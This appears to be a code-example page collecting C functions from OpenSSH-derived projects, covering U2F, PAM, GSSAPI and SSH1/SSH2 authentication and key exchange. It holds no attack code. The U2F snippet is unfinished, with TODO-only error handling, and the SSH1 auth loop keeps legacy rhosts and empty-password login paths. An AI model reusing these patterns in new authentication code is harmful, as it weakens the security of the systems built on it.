			&input_userauth_u2f_register_response);
		authctxt->postponed = 1;
		return (0);
	} else {
		debug("u2f mode is authentication");
	}

	// This is on the server. See sshconnect2.c for the client
	debug("auth-u2f.c:userauth_u2f");

	Key *key;
	u_int idx = 0;
	// Get multiple keys by increasing idx until key == NULL
	// TODO: send multiple challenges for all keys (or something)
	key = PRIVSEP(read_user_u2f_key(authctxt->pw, idx));
	if (key == NULL)
	{
		debug("no registered u2f keys found\n");
		return (0);
	}

	// TODO: handle empty signatureData with a nice message. this seems to happen when the keyhandle is wrong?

	// TODO: to what should we set the appid?
	//
	// TODO: what does auth_info() do?
	// TODO: we need to store challenge in this authctx somehow :)

	packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST);
	u_char random[32];
	char challenge[((sizeof(random)+2)/3)*4 + 1];
	char pubkey[((u2f_pubkey_len+2)/3)*4 + 1];
	char keyhandle[((key->u2f_key_handle_len+2)/3)*4 + 1];
	char *json;
	arc4random_buf(random, sizeof(random));
	authctxt->u2f_challenge = xmalloc(sizeof(random));
	memcpy(authctxt->u2f_challenge, random, sizeof(random));
	authctxt->u2f_key = key;
	if (urlsafe_base64_encode(random, sizeof(random), challenge, sizeof(challenge)) == -1)
		fatal("TODO");
	if (urlsafe_base64_encode(key->u2f_pubkey, u2f_pubkey_len, pubkey, sizeof(pubkey)) == -1)
		fatal("TODO");
	if (urlsafe_base64_encode(key->u2f_key_handle, key->u2f_key_handle_len, keyhandle, sizeof(keyhandle)) == -1)
		fatal("TODO");
	xasprintf(&json, "{\"challenge\": \"%s\", \"keyHandle\": \"%s\", \"appId\": \"%s\"}",
		challenge, keyhandle, appid);
	packet_put_cstring(json);
	free(json);
	packet_send();
	dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE,
		&input_userauth_u2f_info_response);
	authctxt->postponed = 1;
	return (0);
}
示例#24
0
static int
roaming_resume(void)
{
	u_int64_t recv_bytes;
	char *str = NULL, *kexlist = NULL, *c;
	int i, type;
	int timeout_ms = options.connection_timeout * 1000;
	u_int len;
	u_int32_t rnd = 0;

	resume_in_progress = 1;

	/* Exchange banners */
	ssh_exchange_identification(timeout_ms);
	packet_set_nonblocking();

	/* Send a kexinit message with [email protected] as only kex algo */
	packet_start(SSH2_MSG_KEXINIT);
	for (i = 0; i < KEX_COOKIE_LEN; i++) {
		if (i % 4 == 0)
			rnd = arc4random();
		packet_put_char(rnd & 0xff);
		rnd >>= 8;
	}
	packet_put_cstring(KEX_RESUME);
	for (i = 1; i < PROPOSAL_MAX; i++) {
		/* kex algorithm added so start with i=1 and not 0 */
		packet_put_cstring(""); /* Not used when we resume */
	}
	packet_put_char(1); /* first kex_packet follows */
	packet_put_int(0); /* reserved */
	packet_send();

	/* Assume that [email protected] will be accepted */
	packet_start(SSH2_MSG_KEX_ROAMING_RESUME);
	packet_put_int(roaming_id);
	packet_send();

	/* Read the server's kexinit and check for [email protected] */
	if ((type = packet_read()) != SSH2_MSG_KEXINIT) {
		debug("expected kexinit on resume, got %d", type);
		goto fail;
	}
	for (i = 0; i < KEX_COOKIE_LEN; i++)
		(void)packet_get_char();
	kexlist = packet_get_string(&len);
	if (!kexlist
	    || (str = match_list(KEX_RESUME, kexlist, NULL)) == NULL) {
		debug("server doesn't allow resume");
		goto fail;
	}
	free(str);
	for (i = 1; i < PROPOSAL_MAX; i++) {
		/* kex algorithm taken care of so start with i=1 and not 0 */
		free(packet_get_string(&len));
	}
	i = packet_get_char(); /* first_kex_packet_follows */
	if (i && (c = strchr(kexlist, ',')))
		*c = 0;
	if (i && strcmp(kexlist, KEX_RESUME)) {
		debug("server's kex guess (%s) was wrong, skipping", kexlist);
		(void)packet_read(); /* Wrong guess - discard packet */
	}

	/*
	 * Read the ROAMING_AUTH_REQUIRED challenge from the server and
	 * send ROAMING_AUTH
	 */
	if ((type = packet_read()) != SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED) {
		debug("expected roaming_auth_required, got %d", type);
		goto fail;
	}
	roaming_auth_required();

	/* Read ROAMING_AUTH_OK from the server */
	if ((type = packet_read()) != SSH2_MSG_KEX_ROAMING_AUTH_OK) {
		debug("expected roaming_auth_ok, got %d", type);
		goto fail;
	}
	recv_bytes = packet_get_int64() ^ oldkey2;
	debug("Peer received %llu bytes", (unsigned long long)recv_bytes);
	resend_bytes(packet_get_connection_out(), &recv_bytes);

	resume_in_progress = 0;

	session_resumed = 1; /* Tell clientloop */

	return 0;

fail:
	free(kexlist);
	if (packet_get_connection_in() == packet_get_connection_out())
		close(packet_get_connection_in());
	else {
		close(packet_get_connection_in());
		close(packet_get_connection_out());
	}
	return 1;
}
static int
do_pam_conversation_kbd_int(int num_msg, const struct pam_message **msg,
    struct pam_response **resp, void *appdata_ptr)
{
	int i, j, done;
	char *text;

	context_pam2.finished = 0;
	context_pam2.num_received = 0;
	context_pam2.num_expected = 0;
	context_pam2.prompts = xmalloc(sizeof(int) * num_msg);
	context_pam2.responses = xmalloc(sizeof(struct pam_response) * num_msg);
	memset(context_pam2.responses, 0, sizeof(struct pam_response) * num_msg);

	text = NULL;
	for (i = 0, context_pam2.num_expected = 0; i < num_msg; i++) {
		int style = PAM_MSG_MEMBER(msg, i, msg_style);
		switch (style) {
		case PAM_PROMPT_ECHO_ON:
		case PAM_PROMPT_ECHO_OFF:
			context_pam2.num_expected++;
			break;
		case PAM_TEXT_INFO:
		case PAM_ERROR_MSG:
		default:
			/* Capture all these messages to be sent at once */
			message_cat(&text, PAM_MSG_MEMBER(msg, i, msg));
			break;
		}
	}

	if (context_pam2.num_expected == 0)
		return PAM_SUCCESS;

	packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST);
	packet_put_cstring("");	/* Name */
	packet_put_cstring("");	/* Instructions */
	packet_put_cstring("");	/* Language */
	packet_put_int(context_pam2.num_expected);
	
	for (i = 0, j = 0; i < num_msg; i++) {
		int style = PAM_MSG_MEMBER(msg, i, msg_style);
		
		/* Skip messages which don't need a reply */
		if (style != PAM_PROMPT_ECHO_ON && style != PAM_PROMPT_ECHO_OFF)
			continue;
		
		context_pam2.prompts[j++] = i;
		if (text) {
			message_cat(&text, PAM_MSG_MEMBER(msg, i, msg));
			packet_put_cstring(text);
			text = NULL;
		} else
			packet_put_cstring(PAM_MSG_MEMBER(msg, i, msg));
		packet_put_char(style == PAM_PROMPT_ECHO_ON);
	}
	packet_send();
	packet_write_wait();

	/*
	 * Grabbing control of execution and spinning until we get what
	 * we want is probably rude, but it seems to work properly, and
	 * the client *should* be in lock-step with us, so the loop should
	 * only be traversed once.
	 */
	while(context_pam2.finished == 0) {
		done = 1;
		dispatch_run(DISPATCH_BLOCK, &done, appdata_ptr);
		if(context_pam2.finished == 0)
			debug("extra packet during conversation");
	}

	if(context_pam2.num_received == context_pam2.num_expected) {
		*resp = context_pam2.responses;
		return PAM_SUCCESS;
	} else
		return PAM_CONV_ERR;
}
示例#26
0
void
ssh_userauth2(const char *local_user, const char *server_user, char *host,
    Sensitive *sensitive)
{
	Authctxt authctxt;
	int type;

	if (options.challenge_response_authentication)
		options.kbd_interactive_authentication = 1;

	packet_start(SSH2_MSG_SERVICE_REQUEST);
	packet_put_cstring("ssh-userauth");
	packet_send();
	debug("send SSH2_MSG_SERVICE_REQUEST");
	packet_write_wait();
	type = packet_read();
	if (type != SSH2_MSG_SERVICE_ACCEPT)
		fatal("Server denied authentication request: %d", type);
	if (packet_remaining() > 0) {
		char *reply = packet_get_string(NULL);
		debug2("service_accept: %s", reply);
		xfree(reply);
	} else {
		debug2("buggy server: service_accept w/o service");
	}
	packet_check_eom();
	debug("got SSH2_MSG_SERVICE_ACCEPT");

	if (options.preferred_authentications == NULL)
		options.preferred_authentications = authmethods_get();

	/* setup authentication context */
	memset(&authctxt, 0, sizeof(authctxt));
	authctxt.agent = ssh_get_authentication_connection();
	authctxt.server_user = server_user;
	authctxt.local_user = local_user;
	authctxt.host = host;
	authctxt.service = "ssh-connection";		/* service name */
	authctxt.success = 0;
	authctxt.method = authmethod_lookup("none");
	authctxt.authlist = NULL;
	authctxt.methoddata = NULL;
	authctxt.sensitive = sensitive;
	authctxt.info_req_seen = 0;
	if (authctxt.method == NULL)
		fatal("ssh_userauth2: internal error: cannot send userauth none request");

	/* initial userauth request */
	userauth_none(&authctxt);

	dispatch_init(&input_userauth_error);
	dispatch_set(SSH2_MSG_USERAUTH_SUCCESS, &input_userauth_success);
	dispatch_set(SSH2_MSG_USERAUTH_FAILURE, &input_userauth_failure);
	dispatch_set(SSH2_MSG_USERAUTH_BANNER, &input_userauth_banner);
	dispatch_run(DISPATCH_BLOCK, &authctxt.success, &authctxt);	/* loop until success */

	if (authctxt.agent != NULL)
		ssh_close_authentication_connection(authctxt.agent);

	debug("Authentication succeeded (%s)", authctxt.method->name);
}
示例#27
0
int 
userauth_gssapi(Authctxt *authctxt)
{
	Gssctxt *gssctxt = NULL;
	static int initialized = 0;
	static int mech_idx = 0;
	static gss_OID_set supported = GSS_C_NULL_OID_SET;
	gss_OID mech = GSS_C_NULL_OID;

	/* Things work better if we send one mechanism at a time, rather
	 * than them all at once. This means that if we fail at some point
	 * in the middle of a negotiation, we can come back and try something
	 * different. */

	if (datafellows & SSH_OLD_GSSAPI) return 0;
	
	/* Before we offer a mechanism, check that we can support it. Don't
	 * bother trying to get credentials - as the standard fallback will
	 * deal with that kind of failure.
	 */

	if (!initialized) {
		initialized = 1;
		ssh_gssapi_client_mechs(authctxt->host, &supported);
		if (supported == GSS_C_NULL_OID_SET || supported->count == 0)
			return (0);
	} else if (supported != GSS_C_NULL_OID_SET) {
		/* Try next mech, if any */
		mech_idx++;

		if (mech_idx >= supported->count)
			return (0);
	} else {
		return (0);
	}

	mech = &supported->elements[mech_idx];

	ssh_gssapi_build_ctx(&gssctxt, 1, mech);
	authctxt->methoddata=(void *)gssctxt;
		
	packet_start(SSH2_MSG_USERAUTH_REQUEST);
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
        packet_put_cstring(authctxt->method->name);
	
	packet_put_int(1);

	/* The newest gsskeyex draft stipulates that OIDs should
	 * be DER encoded, so we need to add the object type and
	 * length information back on */
	if (datafellows & SSH_BUG_GSSAPI_BER) {
		packet_put_string(mech->elements, mech->length);
	} else {
		packet_put_int((mech->length)+2);
		packet_put_char(0x06);
		packet_put_char(mech->length);
		packet_put_raw(mech->elements, mech->length);
	}

        packet_send();
        packet_write_wait();

        dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_RESPONSE,&input_gssapi_response);

        return 1;
}
示例#28
0
int
userauth_gssapi_keyex(Authctxt *authctxt)
{
	Gssctxt *gssctxt;
	gss_buffer_desc send_tok;
	OM_uint32 status;
        static int attempt = 0;
	
	if (authctxt == NULL || authctxt->method == NULL)
		fatal("input_gssapi_response: no authentication context");

	if (xxx_gssctxt == NULL || xxx_gssctxt->context == GSS_C_NO_CONTEXT)
		return 0;

	if (strcmp(authctxt->method->name, "gssapi-keyex") == 0)
		authctxt->methoddata = gssctxt = xxx_gssctxt;
	
        if (attempt++ >= 1)
        	return 0;
                                
	if (strcmp(authctxt->method->name, "gssapi-keyex") == 0) {
		gss_buffer_desc g_mic_data;
		Buffer mic_data;

		debug2("Authenticating with GSS-API context from key exchange (w/ MIC)");

		/* Make data buffer to MIC */
		buffer_init(&mic_data);
		buffer_put_string(&mic_data, session_id2, session_id2_len);
		buffer_put_char(&mic_data, SSH2_MSG_USERAUTH_REQUEST);
		buffer_put_cstring(&mic_data, authctxt->server_user);
		buffer_put_cstring(&mic_data, authctxt->service);
		buffer_put_cstring(&mic_data, authctxt->method->name);

		/* Make MIC */
		g_mic_data.value  = buffer_ptr(&mic_data);
		g_mic_data.length = buffer_len(&mic_data);
		status = ssh_gssapi_get_mic(gssctxt, &g_mic_data, &send_tok);
		buffer_clear(&mic_data);

		if (GSS_ERROR(status) || send_tok.length == 0) {
			/*
			 * Oops, now what?  There's no error token...
			 * Next userauth
			 */
			debug("GSS_GetMIC() failed! - "
			      "Abandoning GSSAPI userauth");
			clear_auth_state(authctxt);
			userauth(authctxt,NULL);
			return 0;
		}
		packet_start(SSH2_MSG_USERAUTH_REQUEST);
		packet_put_cstring(authctxt->server_user);
		packet_put_cstring(authctxt->service);
		packet_put_cstring(authctxt->method->name);
		packet_put_string(send_tok.value,send_tok.length); /* MIC */
		packet_send();
		packet_write_wait();
		(void) gss_release_buffer(&status, &send_tok);
	} else if (strcmp(authctxt->method->name, "external-keyx") == 0) {
		debug2("Authentication with deprecated \"external-keyx\""
			" method not supported");
		return 0;
	}
        return 1;
}
示例#29
0
void
ssh_kex2(char *host, struct sockaddr *hostaddr)
{
	Kex *kex;
	Kex_hook_func kex_hook = NULL;
	static char **myproposal;

	myproposal = my_clnt_proposal;

	xxx_host = host;
	xxx_hostaddr = hostaddr;

#ifdef GSSAPI
	/* Add the GSSAPI mechanisms currently supported on this client to
	 * the key exchange algorithm proposal */
	if (options.gss_keyex)
		kex_hook = ssh_gssapi_client_kex_hook;
#endif /* GSSAPI */
	if (options.ciphers == (char *)-1) {
		log("No valid ciphers for protocol version 2 given, using defaults.");
		options.ciphers = NULL;
	}
	if (options.ciphers != NULL) {
		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
		myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers;
	}
	myproposal[PROPOSAL_ENC_ALGS_CTOS] =
	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]);
	myproposal[PROPOSAL_ENC_ALGS_STOC] =
	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]);
	if (options.compression) {
		myproposal[PROPOSAL_COMP_ALGS_CTOS] =
		myproposal[PROPOSAL_COMP_ALGS_STOC] = "zlib,none";
	} else {
		myproposal[PROPOSAL_COMP_ALGS_CTOS] =
		myproposal[PROPOSAL_COMP_ALGS_STOC] = "none,zlib";
	}
	if (options.macs != NULL) {
		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
		myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs;
	}
	if (options.hostkeyalgorithms != NULL)
		myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] =
		    options.hostkeyalgorithms;

	if (options.rekey_limit)
		packet_set_rekey_limit((u_int32_t)options.rekey_limit);

	if (datafellows & SSH_BUG_LOCALES_NOT_LANGTAGS) {
		char *locale = setlocale(LC_ALL, "");

		/* Solaris 9 SSHD expects a locale, not a langtag list */
		myproposal[PROPOSAL_LANG_CTOS] = "";
		if (locale != NULL && *locale != '\0' &&
		    strcmp(locale, "C") != 0)
			myproposal[PROPOSAL_LANG_CTOS] = locale;
	} else {
		myproposal[PROPOSAL_LANG_CTOS] = g11n_getlangs();
	}

	/* Same languages proposal for both directions */
	if (myproposal[PROPOSAL_LANG_CTOS] == NULL) {
		myproposal[PROPOSAL_LANG_CTOS] = "";
		myproposal[PROPOSAL_LANG_STOC] = "";
	} else {
		myproposal[PROPOSAL_LANG_STOC] =
			myproposal[PROPOSAL_LANG_CTOS];
	}

        /* start key exchange */
        kex = kex_setup(host, myproposal, kex_hook);
	kex_start(kex);
        kex->kex[KEX_DH_GRP1_SHA1] = kexdh_client;
        kex->kex[KEX_DH_GEX_SHA1] = kexgex_client;
#ifdef GSSAPI
	kex->kex[KEX_GSS_GRP1_SHA1] = kexgss_client;
	kex->options.gss_deleg_creds = options.gss_deleg_creds;
#endif /* GSSAPI */
        kex->client_version_string=client_version_string;
        kex->server_version_string=server_version_string;
        kex->verify_host_key=&verify_host_key_callback;
        kex->accept_host_key=&accept_host_key_callback;

	xxx_kex = kex;

	dispatch_run(DISPATCH_BLOCK, &kex->done, kex);

	session_id2 = kex->session_id;
	session_id2_len = kex->session_id_len;

#ifdef DEBUG_KEXDH
	/* send 1st encrypted/maced/compressed message */
	packet_start(SSH2_MSG_IGNORE);
	packet_put_cstring("markus");
	packet_send();
	packet_write_wait();
#endif
	debug("done: ssh_kex2.");
}
示例#30
0
文件: auth1.c 项目: andreiw/polaris
/*
 * read packets, try to authenticate the user and
 * return only if authentication is successful
 */
static void
do_authloop(Authctxt *authctxt)
{
	int authenticated = 0;
	u_int bits;
	Key *client_host_key;
	BIGNUM *n;
	char *client_user, *password;
	char info[1024];
	u_int dlen;
	u_int ulen;
	int type = 0;
	struct passwd *pw = authctxt->pw;

	debug("Attempting authentication for %s%.100s.",
	    authctxt->valid ? "" : "illegal user ", authctxt->user);

	/* If the user has no password, accept authentication immediately. */
	if (options.password_authentication &&
#if defined(KRB4) || defined(KRB5)
	    (!options.kerberos_authentication || options.kerberos_or_local_passwd) &&
#endif
	    PRIVSEP(auth_password(authctxt, ""))) {
		auth_log(authctxt, 1, "without authentication", "");
		return;
	}

	/* Indicate that authentication is needed. */
	packet_start(SSH_SMSG_FAILURE);
	packet_send();
	packet_write_wait();

	client_user = NULL;

	for ( ;; ) {
		/* default to fail */
		authenticated = 0;

		info[0] = '\0';

		/* Get a packet from the client. */
		authctxt->v1_auth_type = type = packet_read();
		authctxt->v1_auth_name = get_authname(type);

		authctxt->attempt++;

		/* Process the packet. */
		switch (type) {

#if defined(KRB4) || defined(KRB5)
		case SSH_CMSG_AUTH_KERBEROS:
			if (!options.kerberos_authentication) {
				verbose("Kerberos authentication disabled.");
			} else {
				char *kdata = packet_get_string(&dlen);
				packet_check_eom();

				if (kdata[0] == 4) { /* KRB_PROT_VERSION */
#ifdef KRB4
					KTEXT_ST tkt, reply;
					tkt.length = dlen;
					if (tkt.length < MAX_KTXT_LEN)
						memcpy(tkt.dat, kdata, tkt.length);

					if (PRIVSEP(auth_krb4(authctxt, &tkt,
					    &client_user, &reply))) {
						authenticated = 1;
						snprintf(info, sizeof(info),
						    " tktuser %.100s",
						    client_user);

						packet_start(
						    SSH_SMSG_AUTH_KERBEROS_RESPONSE);
						packet_put_string((char *)
						    reply.dat, reply.length);
						packet_send();
						packet_write_wait();
					}
#endif /* KRB4 */
				} else {
#ifdef KRB5
					krb5_data tkt, reply;
					tkt.length = dlen;
					tkt.data = kdata;

					if (PRIVSEP(auth_krb5(authctxt, &tkt,
					    &client_user, &reply))) {
						authenticated = 1;
						snprintf(info, sizeof(info),
						    " tktuser %.100s",
						    client_user);
 
 						/* Send response to client */
 						packet_start(
						    SSH_SMSG_AUTH_KERBEROS_RESPONSE);
 						packet_put_string((char *)
						    reply.data, reply.length);
 						packet_send();
 						packet_write_wait();

 						if (reply.length)
 							xfree(reply.data);
					}
#endif /* KRB5 */
				}
				xfree(kdata);
			}
			break;
#endif /* KRB4 || KRB5 */

#if defined(AFS) || defined(KRB5)
			/* XXX - punt on backward compatibility here. */
		case SSH_CMSG_HAVE_KERBEROS_TGT:
			packet_send_debug("Kerberos TGT passing disabled before authentication.");
			break;
#ifdef AFS
		case SSH_CMSG_HAVE_AFS_TOKEN:
			packet_send_debug("AFS token passing disabled before authentication.");
			break;
#endif /* AFS */
#endif /* AFS || KRB5 */

		case SSH_CMSG_AUTH_RHOSTS:
			if (!options.rhosts_authentication) {
				verbose("Rhosts authentication disabled.");
				break;
			}
			/*
			 * Get client user name.  Note that we just have to
			 * trust the client; this is one reason why rhosts
			 * authentication is insecure. (Another is
			 * IP-spoofing on a local network.)
			 */
			client_user = packet_get_string(&ulen);
			packet_check_eom();

			/* Try to authenticate using /etc/hosts.equiv and .rhosts. */
			authenticated = auth_rhosts(pw, client_user);

			snprintf(info, sizeof info, " ruser %.100s", client_user);
			break;

		case SSH_CMSG_AUTH_RHOSTS_RSA:
			if (!options.rhosts_rsa_authentication) {
				verbose("Rhosts with RSA authentication disabled.");
				break;
			}
			/*
			 * Get client user name.  Note that we just have to
			 * trust the client; root on the client machine can
			 * claim to be any user.
			 */
			client_user = packet_get_string(&ulen);

			/* Get the client host key. */
			client_host_key = key_new(KEY_RSA1);
			bits = packet_get_int();
			packet_get_bignum(client_host_key->rsa->e);
			packet_get_bignum(client_host_key->rsa->n);

			if (bits != BN_num_bits(client_host_key->rsa->n))
				verbose("Warning: keysize mismatch for client_host_key: "
				    "actual %d, announced %d",
				    BN_num_bits(client_host_key->rsa->n), bits);
			packet_check_eom();

			authenticated = auth_rhosts_rsa(pw, client_user,
			    client_host_key);
			key_free(client_host_key);

			snprintf(info, sizeof info, " ruser %.100s", client_user);
			break;

		case SSH_CMSG_AUTH_RSA:
			if (!options.rsa_authentication) {
				verbose("RSA authentication disabled.");
				break;
			}
			/* RSA authentication requested. */
			if ((n = BN_new()) == NULL)
				fatal("do_authloop: BN_new failed");
			packet_get_bignum(n);
			packet_check_eom();
			authenticated = auth_rsa(pw, n);
			BN_clear_free(n);
			break;

		case SSH_CMSG_AUTH_PASSWORD:
			authctxt->init_attempt++;

			if (!options.password_authentication) {
				verbose("Password authentication disabled.");
				break;
			}
			/*
			 * Read user password.  It is in plain text, but was
			 * transmitted over the encrypted channel so it is
			 * not visible to an outside observer.
			 */
			password = packet_get_string(&dlen);
			packet_check_eom();

			/* Try authentication with the password. */
			if (authctxt->init_failures <
				options.max_init_auth_tries)
				authenticated =
				    PRIVSEP(auth_password(authctxt,
						password));

			memset(password, 0, strlen(password));
			xfree(password);
			break;

		case SSH_CMSG_AUTH_TIS:
			debug("rcvd SSH_CMSG_AUTH_TIS");
			if (options.challenge_response_authentication == 1) {
				char *challenge = get_challenge(authctxt);
				if (challenge != NULL) {
					debug("sending challenge '%s'", challenge);
					packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE);
					packet_put_cstring(challenge);
					xfree(challenge);
					packet_send();
					packet_write_wait();
					continue;
				}
			}
			break;
		case SSH_CMSG_AUTH_TIS_RESPONSE:
			debug("rcvd SSH_CMSG_AUTH_TIS_RESPONSE");
			if (options.challenge_response_authentication == 1) {
				char *response = packet_get_string(&dlen);
				debug("got response '%s'", response);
				packet_check_eom();
				authenticated = verify_response(authctxt, response);
				memset(response, 'r', dlen);
				xfree(response);
			}
			break;

		default:
			/*
			 * Any unknown messages will be ignored (and failure
			 * returned) during authentication.
			 */
			log("Unknown message during authentication: type %d", type);
			break;
		}
#ifdef BSD_AUTH
		if (authctxt->as) {
			auth_close(authctxt->as);
			authctxt->as = NULL;
		}
#endif
		if (!authctxt->valid && authenticated) {
			authenticated = 0;
			log("Ignoring authenticated invalid user %s",
			    authctxt->user);
		}

#ifdef _UNICOS
		if (type == SSH_CMSG_AUTH_PASSWORD && !authenticated)
			cray_login_failure(authctxt->user, IA_UDBERR);
		if (authenticated && cray_access_denied(authctxt->user)) {
			authenticated = 0;
			fatal("Access denied for user %s.",authctxt->user);
		}
#endif /* _UNICOS */

#ifdef HAVE_CYGWIN
		if (authenticated &&
		    !check_nt_auth(type == SSH_CMSG_AUTH_PASSWORD, pw)) {
			packet_disconnect("Authentication rejected for uid %d.",
			pw == NULL ? -1 : pw->pw_uid);
			authenticated = 0;
		}
#else
		/* Special handling for root */
		if (!use_privsep &&
		    authenticated && authctxt->pw->pw_uid == 0 &&
		    !auth_root_allowed(get_authname(type)))
			authenticated = 0;
#endif
#ifdef USE_PAM
		/* XXX PAM and PRIVSEP don't mix */
		if (use_privsep && authenticated)
			fatal("Privsep is not supported");

		if (authenticated && type != SSH_CMSG_AUTH_PASSWORD)
			authenticated = do_pam_non_initial_userauth(authctxt);
		else if (authenticated && !AUTHPAM_DONE(authctxt))
			authenticated = 0;

		if (!authenticated)
			authctxt->pam_retval = AUTHPAM_ERROR(authctxt,
				PAM_PERM_DENIED);
#endif /* USE_PAM */

		/* Log before sending the reply */
		auth_log(authctxt, authenticated, get_authname(type), info);

		if (client_user != NULL) {
			xfree(client_user);
			client_user = NULL;
		}

		if (authenticated)
			return;

		if (type == SSH_CMSG_AUTH_PASSWORD)
			authctxt->init_failures++;

		if (authctxt->failures++ > options.max_auth_tries) {
#ifdef HAVE_BSM
			fatal_remove_cleanup(audit_failed_login_cleanup,
				authctxt);
			audit_sshd_login_failure(&ah, PAM_MAXTRIES);
#endif /* HAVE_BSM */
			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
		}

		packet_start(SSH_SMSG_FAILURE);
		packet_send();
		packet_write_wait();
	}
}